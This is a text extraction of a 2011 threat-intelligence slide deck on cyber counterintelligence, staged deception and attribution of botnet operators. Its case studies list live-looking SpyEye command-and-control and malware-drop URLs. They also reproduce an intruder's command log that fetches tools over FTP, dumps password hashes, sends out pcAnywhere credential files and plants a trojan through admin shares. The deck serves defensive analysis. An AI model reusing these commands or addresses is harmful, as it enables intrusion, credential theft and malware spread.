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Who am I? Who am I? 

� Sean M. Bodmer, CISSP, CEH

� Senior Threat Intelligence Analyst

� Brief Bio

� Over 14 Years in IT Systems Security

� Over 9 Years in Intelligence and Counter-Intelligence Operations

� Lectured at numerous Industry Conferences

� Co-Author: Hacking Exposed Malware & Rootkits 1st Edition

Copyright © 2011Damballa, Inc. All Rights Reserved

� Co-Author: Hacking Exposed Malware & Rootkits 1st Edition

� ISBN: 0071591184

� Co-Authoring : SpyJack: Countering Advanced Cyber Threats

� ISBN: 0071772499 (Release Expected Q4 2011)

� Contributing to: Hacking Exposed 7th Edition 

� Contributing chapters focusing on APTs and countermeasures

� Release Date TBD

� Damballa, Inc.

� Atlanta based security company focused on 
enterprise detection and mitigation of botnets

� Provides customers tailored Threat Intelligence Services



Why am I here?Why am I here?

• To present methods and concepts that enable 

analysis and attribution of crimeware to:

– Malware Families

– Operators

– Criminal Groups

• To learn more about pro-active defense

• To walk away feeling not so full of ‘FUD’



ObjectivesObjectives

• To discuss some alternative methods that can help turn the 

tables on these unrelenting pests

– Cyber-Counterintelligence

– Operational Deception & Disinformation

– Counter-Deception

– Attribution– Attribution

– Content Staging/FIlling

– Other methods for detection and analysis

• Traditional security tools aren’t enough to fight persistent or 

advanced threats

– The threat will always be quicker, leaner, better funded, and highly 

coordinated

• We (as a community) will almost never be as coordinated…

– Discuss some other areas we as a community can improve on



StateState--ofof--thethe--ThreatThreat

• Cyber-Espionage/Warfare
– One of the most lucrative aspects of organized 

crimeware distribution

– Pilfering of sensitive information

– Collection of Personally Identifiable Information (PII)

– Re-sale of 0wned computers to:– Re-sale of 0wned computers to:
• organized crime syndicates

• foreign intelligence services

• Corporate Competitors

• Other cyber-criminal groups

– Is a game of perfection and entertainment
• Hooking the ‘big fish’

– Billions per Year in illegal $$$ 



Ground TruthsGround Truths

• Host Detection

– Focuses tools on the host

– Anti-Virus Solutions are ‘practically a joke’

• AV firms can take 7-10 business days to develop  signatures for a 

specific binary

– Most modern AV solutions can be simply bypassed

– Operating Systems are easily circumvented by installed 

add-ons and applications

• The bad guys know this and they make use of this

– They simply update before the signature is released 



Ground TruthsGround Truths

• Boundary Detection

– Firewalls
• Easily Bypassed

• ‘Any’ non-stateful inspection firewall can be easily bypassed

– Intrusion Detection/Prevention Systems
• Signature Driven• Signature Driven

• Easily Bypassed

– Mail Gateway Scanners
• Signature & Policy Driven

• Not Capable of defending against APTs

– Router Access Control Lists (ACL)
• Easily Bypassed

• Not helpful against friendly or trusted networks



Ground TruthsGround Truths

• Enterprise Detection

– Numerous Enterprise Protocols dilute and flood 
network packet analysis systems

– Most attackers know how to get out of your network

• HTTP

• HTTPS

• DNS 

• SMTP

• POP

• IMAP

– Try closing any one of those ports for 30 minutes and 

see what happens…



It Certainly Isn’t It Certainly Isn’t Di’GiornoDi’Giorno

• Hacked High-Volume Websites

• Embedded in Digital Devices

• Embedded in Software Suites

• Social Networks

• Drive-By-Downloads• Drive-By-Downloads

• Client-Side-Exploits

• Phishing Campaigns

• Shortened URLs

• Supply Chain

• The list is too long…





The Criminal Operations TeamThe Criminal Operations Team

Malware Author(s)Malware Author(s)
•• Original malware creator(s)Original malware creator(s)

•• Offer malware “offOffer malware “off--thethe--rack” rack” 

or custom builtor custom built

•• May offer DIY construction kitsMay offer DIY construction kits

•• MoneyMoney--back guarantee if detectedback guarantee if detected

•• 24x7 support24x7 support

Distribution Provider (MSP)Distribution Provider (MSP)
•• Specialized distribution networkSpecialized distribution network

•• Attracts and infects victimsAttracts and infects victims

•• Global & targeted content deliveryGlobal & targeted content delivery

•• Delivery through Spam/driveDelivery through Spam/drive--by/USB/etc.by/USB/etc.

•• Offers 24x7 supportOffers 24x7 support

Distribution Provider (MSP)Distribution Provider (MSP)
•• Specialized distribution networkSpecialized distribution network

•• Attracts and infects victimsAttracts and infects victims

•• Global & targeted content deliveryGlobal & targeted content delivery

•• Delivery through Spam/driveDelivery through Spam/drive--by/USB/etc.by/USB/etc.

•• Offers 24x7 supportOffers 24x7 support

Botnet MasterBotnet Master

Botnet OperatorBotnet Operator
•• Operates a section of the botnet Operates a section of the botnet 

for direct financial gainfor direct financial gain

•• Issues commands to the bot agentsIssues commands to the bot agents

•• May be the May be the Botnet Botnet MasterMaster

Botnet MasterBotnet Master
•• Individual or criminal team that Individual or criminal team that 

owns the botnetowns the botnet

•• Maintains and controls the botnetMaintains and controls the botnet

•• Holds admin credentials for Holds admin credentials for CnCCnC

Resilience Provider (MSP)Resilience Provider (MSP)
•• Provides Provides CnCCnC resilience servicesresilience services

•• AntiAnti--takedown network constructiontakedown network construction

•• BulletBullet--proof domain hostingproof domain hosting

•• FastFast--flux DNS servicesflux DNS services

•• Offers 24x7 SupportOffers 24x7 Support

Resilience Provider (MSP)Resilience Provider (MSP)
•• Provides Provides CnCCnC resilience servicesresilience services

•• AntiAnti--takedown network constructiontakedown network construction

•• BulletBullet--proof domain hostingproof domain hosting

•• FastFast--flux DNS servicesflux DNS services

•• Offers 24x7 SupportOffers 24x7 Support

Hacking EcosystemHacking Ecosystem
•• Each piece of information, each Each piece of information, each 

tool, and every vector has a price.tool, and every vector has a price.

Thank You George Lucas



Botnet StreamliningBotnet Streamlining



DIY Starter Kit DIY Starter Kit –– ““SpyEyeSpyEye””
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Costs/earnings from campaign deliveryCosts/earnings from campaign delivery

• Series of overlapping build campaigns

• Target of 25,000 new victims per week

– $1k to $5k per week

– 2 to 5 parallel campaigns– 2 to 5 parallel campaigns

• Drive-by sites ~ 2 to 50 (cost ~$200)
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So…So…
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Traditional CounterTraditional Counter--IntelligenceIntelligence

� The efforts made by security teams to prevent hostile or criminal or 

adversarial organizations from successfully gathering and collecting 

intelligence against them

� The actionable means found in deeply analyzing observable details left by 

attackers tools, tactics, and procedures (TTPs)

� Traditional Defensive Counter-intelligence
• Focused on Human Intelligence and Spies
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• Developed during WWII and has continued to evolve

� It is possible to apply these techniques to cyber

Discipline Defensive CI 

HUMINT Deception in operations security 

SIGINT Radio OPSEC, use of secure telephones, SIGSEC, deception 

COMINT Deception, OPSEC countermeasures, deception (decoys, camouflage) 

 



Cyber CounterCyber Counter--IntelligenceIntelligence

� Designate a team to be pro-active
• Threat Intelligence Analysts

� Components of Threat Observables
Component Explanation

Motivation The level of intensity and degree of focus 
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Motivation The level of intensity and degree of focus 

Objectives Boasting rights, disruption, destruction, learn secrets, make money

Timeliness How quickly they work (years, months, days, hours) 

Resources Well funded to unfunded (tools and tactics provide insight)

Risk Tolerance High (don’t care to low (never want to be caught)

Skills & Methods How sophisticated are the exploits (scripting to hardware lifecycle attacks)

Actions Well rehearsed, ad hoc, random, controlled v. uncontrolled

Attack Origination Points Outside, inside, single point, diverse points

Numbers Involved in Attack Solo, small group, big group

Knowledge Source Chat groups, web, oral, insider knowledge, espionage 



Cyber CounterCyber Counter--IntelligenceIntelligence

� Behavioral Profiling (Attacker Analysis )
• Analyzes the patterns of Individuals and Groups

– Focus on Behavior

– Skills and Abilities

– Accessibility to/use of Resources

– Motivation

– Complexity 
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» Needs a multi-disciplinary approach

� Operational Deception
• Actions executed to deliberately mislead adversary decision makers as to 

friendly military capabilities, intentions, and operations, thereby causing 
the adversary to take specific actions (or inactions) that will contribute to 
the accomplishment of the friendly mission. 

• JCS Pub 3-13. Joint Doctrine for Information Operations

• JCS Pub 3-58. Joint Doctrine for Operational Deception



Attribution FrameworkAttribution Framework

� Goals of Attribution

• To identify and attribute ongoing attacks and intrusions 

against an individual or group

• Recognize key identifiers or markers that alert on the 

continuance of action or new actions of an 
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continuance of action or new actions of an 

attacker/threat/adversary 

• Consequently, the steps in adversary attribution to 

extract observables are:
• Hypothesize potential adversaries or malicious acts

• Identify threats and adversary missions

• Identify the means that would have to be used or have a high probability of being used

• Develop observables for those means

• Identify the most probable individuals or groups based on validated data behind the occurred 

events



Attribution FrameworkAttribution Framework

� Observables
• When assessing a threat here are some things you 

should consider
• Victimology 

o History/”Hotspots”

o Nature of Information Targeted
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o Nature of Information Targeted

o Victim System Functionality

• Typology
o Similarity to other incidents

o Vulnerability/Exploit 

o MO, Signature, Content, Patterns

o Tools

o Utilization of Access

o Data Transfer Technique

o Logging Alteration/Deletion Technique



Attribution FrameworkAttribution Framework

� Determine whether the methods are simple or sophisticated

• Both Session and Network information will always be important

• Knowledge of your environment

• System Locations

• System Functionality

• Folder & File Locations

• Personnel & Roles

• Knowledge of the Operating System
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• Knowledge of the Operating System

• Grasp of commands, options, and arguments

• Organized or Disorganized

• This helps build a clearer picture of the intent and motive

• Whether the attack is scripted or not

• How often does the attacker generate a specific typo?

• Could that be a signature?



Attribution FrameworkAttribution Framework

� What is a profile?
• As complete a description of the individual who committed the 

crime as possible…based on the crime scene and the crime itself

� Attacker Profiles ‘can’ include:
• Gender   

• Content Analysis

Copyright © 2011Damballa, Inc. All Rights Reserved

• Content Analysis

• Research?

• Age 
• Command Use / Key Stroke

• Typology

• Methodology 

• Content Analysis

• Race/ethnicity
• Command Use / Key Stroke

• Methodology  

• Content Analysis



Attribution FrameworkAttribution Framework

� Attacker Profiles ‘can’ also include: 

(continued)
• Level of intelligence/schooling

• Command Use / Key Stroke

• Methodology
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• Methodology

• Content Analysis

• Remote Assessment (Clinical Expertise…)

• Political Affiliations

• Command Use/ Key Stroke

• Content Analysis

• External (Public Data Sources

• Physical/Mental Health

• Command Use/ Key Stroke

• Content Analysis

• Observables



Case Study ACase Study A

� An interesting persistent threat
• The threat was identified by anonymous online name ‘Oflyhigh’ during post 

analysis of the tools and CnCs used in the persistent attack

• ‘Oflyhigh’ as an online handle dates back to early 2002

• Infected hundreds of systems within a US organization

• Compromised hundreds of Servers and Workstations via a single instant 

message and the propagated via NetBIOS administrative shares
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message and the propagated via NetBIOS administrative shares

• Local administrator username/password matching across all workstations within 

the enterprise

• Servers were accessed via server admin workstations where accounts were stolen

• Traces to this online name were found in:

• Crimeware Samples

• Domain Registrars

• Web Accounts



Case Study ACase Study A

� Remotely controlled and operated bot agents which 

were used to collect sensitive data
• Tools were downloadable with a custom W32.Pipeline written to:

• Self-Propagation

• Allow remote access

• Download remote tools

– Common Tools Used:
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– Common Tools Used:

» L0phtCrack (a publicly cracked version)

» Nmap (an open source tool)

» Firewalk (an open source tool)

» Netcat (an open source tool)

» Hping2 (an open source tool)

– Custom Tools Used:

» XOR based encryption engine to :

• Transfer data from machine to machine via ports 135,137,139

• Then out over SSL from two focal vacuum points to netpu.net

• Code References  in tools, logs, and other intelligence point to an ‘oflyhigh’
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CnC Sanitized CnC Sanitized

CnC Sanitized CnC Sanitized

SanitizedSanitized
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Case Study ACase Study A

� Multiple systems compromised
• Enterprise Administrators Group

• Enterprise Security Manager

• Finance & Accounting Group

• Other groups in various groups were also accessed
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• Other groups in various groups were also accessed

� Data Stolen
• To this data, the amount of data is truly unknown

• Estimates show about 9MB of compressed data were 
stolen daily for well over an eleven month period, most 
notably accounting and operational data during the end 
of the fiscal year



Case Study ACase Study A

� Open Source Analysis of ‘oflyhigh’
• Individual or Group?

• There are numerous postings with this name so it is difficult to 

identify either

– Two postings mention this is a group rather than an individual
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– Two postings mention this is a group rather than an individual

• Oflyhigh is thought to be Chinese by descent

– True origins unknown

– Current web analysis puts ‘oflyhigh’ in China (as of 07/2010)

– Numerous websites detailing years of online interests, blogs, 

purchases, and other hobbies

– Interested in P2P, Spam, Windows Shell Coding, and IDS Evasion
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Case Study BCase Study B

� SpyEye Control Panel Developer Attribution

� During a 5 month investigation and infiltration 

of the core SpyEye developer team

� We were able to gather the following 

information that enabled attribution
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information that enabled attribution

• Against two core SpyEye developer members 

� The focal point for our investigation was URI 

alone



Case Study BCase Study B

� By monitoring the SpyEye URI strings we were 

able to determine which botnets belonged to 

which operators

• Remember we’re all human and we have flaws

• Humans are creatures of habit and comfort

Copyright © 2011Damballa, Inc. All Rights Reserved

• Humans are creatures of habit and comfort

• Bot Agent variant A through Z has to be able to 

functionally communicate with the CnC server 

using similar strings, the paths cannot change



Case Study BCase Study B

Type

barcalys-trial3.com/main/bin/build.exe
Malware Drop

coundnes.com/cache/bin/build.exe
Malware Drop

eu-analytics.com/sp4a/bin/1_sp4a_new.exe.crypted.exe
Malware Drop

217.23.7.21/date/gate.php?guid=User!SANDBOX0!D06F0742&ver=10129&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600

&ut=Admin&cpu=19&ccrc=3D893DD9&md5=60d6d584515e1925e0d0c9edd8b32eed SpyEye C&C

200.63.45.69/~datosco/main/gate.php?guid=User!SANDBOX2!D06F0742&ver=10132&stat=ONLINE&ie=6.0.2900.2180&o

s=5.1.2600&ut=Admin&cpu=100&ccrc=690E5C55&md5=82beb808bef523b7660af10266377407 SpyEye C&C
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s=5.1.2600&ut=Admin&cpu=100&ccrc=690E5C55&md5=82beb808bef523b7660af10266377407 SpyEye C&C

91.213.174.34/spyeye_main/gate.php?guid=User!SANDBOX2!D06F0742&ver=10200&stat=ONLINE&ie=6.0.2900.2180&os

=5.1.2600&ut=Admin&cpu=22&ccrc=B144ABF5&md5=e8a713c24a38b9339474f71f5bcff78a SpyEye C&C

77.78.240.162/spye/gate.php?guid=User!SANDBOX0!D06F0742&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.26

00&ut=Admin&plg=ftpbc&cpu=100&ccrc=8CCFE0AB&md5=84a9aedb378c3ec297a775c1f7fc573a SpyEye C&C

113.11.194.173/eye/main/gate.php SpyEye C&C

204.12.243.187/main/gate.php SpyEye C&C

200.56.243.137/includes/admin/gate.php?guid=User!SANDBOX2!D06F0742&ver=10207&stat=ONLINE&ie=6.0.2900.218

0&os=5.1.2600&ut=Admin&cpu=80&ccrc=3FF0F25D&md5=86e1bb6f428421a06bdae1b2b55323d1 SpyEye C&C

200.56.243.137/includes/phpbb/gate.php SpyEye C&C

200.56.243.137/joomla/admin/gate.php SpyEye C&C

cocainy.net/spmini/gate.php?guid=User!SANDBOX0!D06F0742&ver=10225&stat=ONLINE&ie=6.0.2900.2180&os=5.1.260

0&ut=Admin&cpu=100&ccrc=ED1A0A53&md5=1aa16572aee1486c7cd8c78dad9cb510 SpyEye C&C

craken.biz/aimpis/gate.php?guid=User!SANDBOX2!D06F0742&ver=10211&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600

&ut=Admin&cpu=100&ccrc=3AF32A5D&md5=a5c67adc367e850f49c441b2cee4b59b SpyEye C&C



Case Study BCase Study B
Type

wardefer.com/warrior/gate.php?guid=User!SANDBOX0!D06F0742&ver=10203&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut
=Admin&cpu=0&ccrc=74E55A28&md5=12721e428a51e073e6ee941eb93dbe96 SpyEye C&C

wardefer.com/warrior/bin/build.exe Malware Drop

cpucardioholder.com/warrior/bin/outback.exe Malware Drop

cpucardioholder.com/warrior/bin/outlook.exe Malware Drop

Malware Drop
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cpucardioholder.com/warrior/bin/upload/nomixed2.exe Malware Drop

cpucardioholder.com/warrior/bin/upload/update060610.exe Malware Drop

cpucardioholder.com/warrior/gate.php SpyEye C&C

91.212.198.60/warrior/bin/build.exe Malware Drop

peosoe.com/spa/mn/bin/build.exe Malware Drop

peosoe.com/spa/mn/bin/cfg.bin SpyEye C&C

peosoe.com/spa/mn/bin/config.bin SpyEye C&C

peosoe.com/spa/mn/gate.php SpyEye C&C

peosoe.com/spa/mn/here.php?guid=User!SANDBOX0!D06F0742&ver=10203&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&

cpu=100&ccrc=71471478&md5=42df0e42a8269f513d8fb7f25d9eabe7 SpyEye C&C



Case Study BCase Study B

� Once the samples shows us the path, we can track the 

operator’s Command and Control Servers
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Case Study BCase Study B

� By attributing URI we were able to clearly identify the operator with 

over 166 unique CnCs while he developed and enhanced the core 

Control Panel for SpyEye v1 – Present

100000

SpyEye CP Developer Personal Botnet
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Case Study CCase Study C

� We identified a malware sample embedded in a 

MS PowerPoint Presentation sent via a spear 

phishing email

• Victim was invited to a 20 year high school reunion

• Files included:
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• Files included:

• 20_Year_Reunion _Invitation_msg

• Hornets_20_Year_Reunion_Information__ppt

• Hornets_20_Year_Reunion_Invitation_doc

• PPT included a stage 1 trojan (cut.exe)

• Exploits Microsoft Office

– Microsoft Security Bulletin MS08-016 – Critical



Case Study CCase Study C

� Spear-Phishing Intrusion

• Analysis and execution of stage 1 (cut.exe) led to 

identification of CnC point and stage 2 (snipped.exe) 

trojan

• Stage 2 trojan attempted to write itself to several system 
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• Stage 2 trojan attempted to write itself to several system 

services

• Stage 2 also searched the local drive and mapped shares 

for:

• Microsoft Office Documents

• Compressed Files

• PKI Certificates



Case Study CCase Study C

� Preparing Staged Content

• The team generated perceptually 

consistent ‘semi-real’ internal 

documents discussing: new web 

development server going up in 

DMZ
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DMZ

• Documents from previously 

compromised production systems 

were loaded onto host in addition to 

custom crafted materials

• Similar user accounts to true admins 

users were also added to the host



Case Study CCase Study C

� Stage 2 was executed on the honeyclient
• The stage 2 compressed and transferred out everything it 

was looking for
• Or better said what we wanted them to see
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Case Study CCase Study C

� In the next few slides you will see the outcome of 

the initial disinformation plan that was 

implemented against this active threat

� The threat actually fell for our staged data and 

later attacked the very web portal we had setup 
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later attacked the very web portal we had setup 

as bait

• The threat knocked over our Windows Web Portal and 

performed the following actions before we kicked him off 

and brought down the box for analysis



Case Study CCase Study C

Row 1
'ipconfig';
'ping www.krazyivan.net';
'ipconfig /all';
'net view';
'ping -a system61';
'time';
'net user';
'net view /domain';
'net view /domain:press1a';
'net view /domain:workgroup';
‘dir *.doc’;

Row 2
'type f.txt';
'ftp -s f.txt';
'ftp -s:f.txt';
'del f.txt';
'echo open 192.168.232.61>f.txt';
'echo IUSER_DB>>f.txt';
'echo muahaha>>f.txt';
'echo binary>>f.txt';
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‘dir *.doc’;
'dir c:\';
'dir d:\';
'dir ncts80.exe';
'dir tftp*.*';
'dir ftp.exe';
'ipconfig';
'echo ftp 192.168.232.61>f.txt';
'dir f.txt';
'echo IUSER_DB>>f.txt';
'echo muahaha>>f.txt';
'echo binary>>f.txt';
'echo get ncts80.exe>>f.txt';
'echo bye>>f.txt';

'echo binary>>f.txt';
'echo get ncts80.exe>>f.txt';
'echo bye>>f.txt';
'type f.txt';
'ftp -s:f.txt';
'dir ncts80.exe';
'ncts80.exe';
'dir ncts80.exe';
'netstat -an';
'ftp -s:f.txt';
'dir ncts80.exe';
'ren ncts80.exe winsec.exe';



Case Study CCase Study C
Row 3

'ping -a 192.168.100.15';

'net name';

'net start';

'dir c:\*.cif /s';

'copy 
c:\docume~1\alluse~1\applic~1\symantec\pcanyw~1\
*.cif';

'ren winnt.~1,cif 1.cif';

'ren winnt.~1.cif 1.cif';

'ren winntn~1.cif 1.cif';

'dir 1.cif';

'copy 

Row 4

'echo put 1.cif>>a.txt';

'echo put 2.cif>>a.txt';

'echo get fport.exe>>a.txt';

'echo get  pwdump4.exe >>a.txt';

'echo get  lsaext.dll >>a.txt';

'echo get  findpass.exe>>a.txt';

'echo get  pskill.exe>>a.txt';

'echo get  pulist.exe>>a.txt';

'echo bye>>a.txt';
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'copy 
c:\docume~1\alluse~1\applic~1\symantec\pcanyw~1\
*.cif';

'ren winnt.~1,cif 1.cif';

'ren winnt.~1.cif 1.cif';

'ren winntn~1.cif 1.cif';

'dir 1.cif';

'ren winntn~1.cif 2.cif';

'ren winntn~2.cif 2.cif';

'dir *.cif';

'echo open 192.168.232.61>a.txt';

'del f.txt';

'echo IUSER_DB>>a.txt';

'echo muahaha>>a.txt';

'echo binary>>a.txt';

'echo bye>>a.txt';

'type a.txt';

'ftp -s:a.txt-';

'del a.txt';

'fport';

'pwdump4 /l';

'pulist';

'findpass sophie administrator 320';

'findpass';

'findpass  press1a administrator 320';

'dir c:\';

'dir ncts80.exe';

'dir ncts80.exe';



Case Study CCase Study C
Row 5
'dir findpass.exe';
'net view';
'ping -a arcane';
'netstat -an';
'ping -a 10.50.140.250';
'ping -a 192.168.100.15';
'net share';
'net view \\zeta';
'net view \\arcane';
'dir \\arcane\winstall';
'dir \\arcane\d';

Row 6
'net time \\zeta';
'net view \\zeta';
'at  \\zeta';
'dir   \\zeta\c$';
'copy  winsec.exe   \\zeta\admin$\system32';
'at \\zeta 10:55pm winsec.exe';
'at \\system61';
'dir \\press1a\c$';
'copy winsec.exe \\system6\admin$\system32';
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'dir \\arcane\d';
'dir \\arcane\clients';
'dir \\arcane\c';
'dir ncts80.exe';
'at \\arcane';
'copy winsec.exe \\arcane\d\winnt\system32';
'dir  \\arcane\admin$\system32';
'net time \\arcane';
'dir c:\';
'net time \\arcane';
'dir  \\arcane\admin$\system32\winsec.exe';
'copy winsec.exe  

\\arcane\admin$\system32\winsec.exe';
'dir   \\arcane\admin$\system32\winsec.exe';
'at \\arcane  10:55pm  winsec.exe';
'net time \\arcane';

'copy winsec.exe \\system6\admin$\system32';
'net time  \\system61';
'at  \\system61 11:12pm  winsec.exe';
'at  \\system61';
'at  \\arcane';
'at  \\zeta';
'dir \\zeta\admin$\system32\winsec.exe';
'dir \\arcane\admin$\system32\winsec.exe';
'dir cmd.exe';
'ping -a system61';
'echo open 192.168.232.61>a.txt';
'echo IUSER_db>>a.txt';



ProPro--Active Threat Active Threat IntelligenceIntelligence

� Threat Analysis
• URI analysis enables attribution

� Vulnerability Research
• Of botnet command-and-controls
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� Botnet Operator Analysis
• Learn more about the bad guys

� Reputation Based Analysis
• Leveraging domains reputation at time of creation



ConclusionsConclusions

� Tools and tactics changing

• Botnets are easily accessible & easy to build
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• Botnets are easily accessible & easy to build

• Geographically and politically distributed attack vehicle

� Focus upon CnC infrastructure

• Geographically distributed infrastructure

• Disrupt, block and shut-down CnC hierarchies

� As a community the undereducated victims can’t be help responsible

• Internet Service Providers & Telecommunications firms need to get into the fight…

• Cloud-computing firms and Governments need to put on the gloves against these 

threats



Questions?

Sales POC: sprouty@damballa.comSales POC: sprouty@damballa.com

Technical POC: sbodmer@damballa.comTechnical POC: sbodmer@damballa.com

Web:  http://www.damballa.com    Blog:  

http://blog.damballa.com 


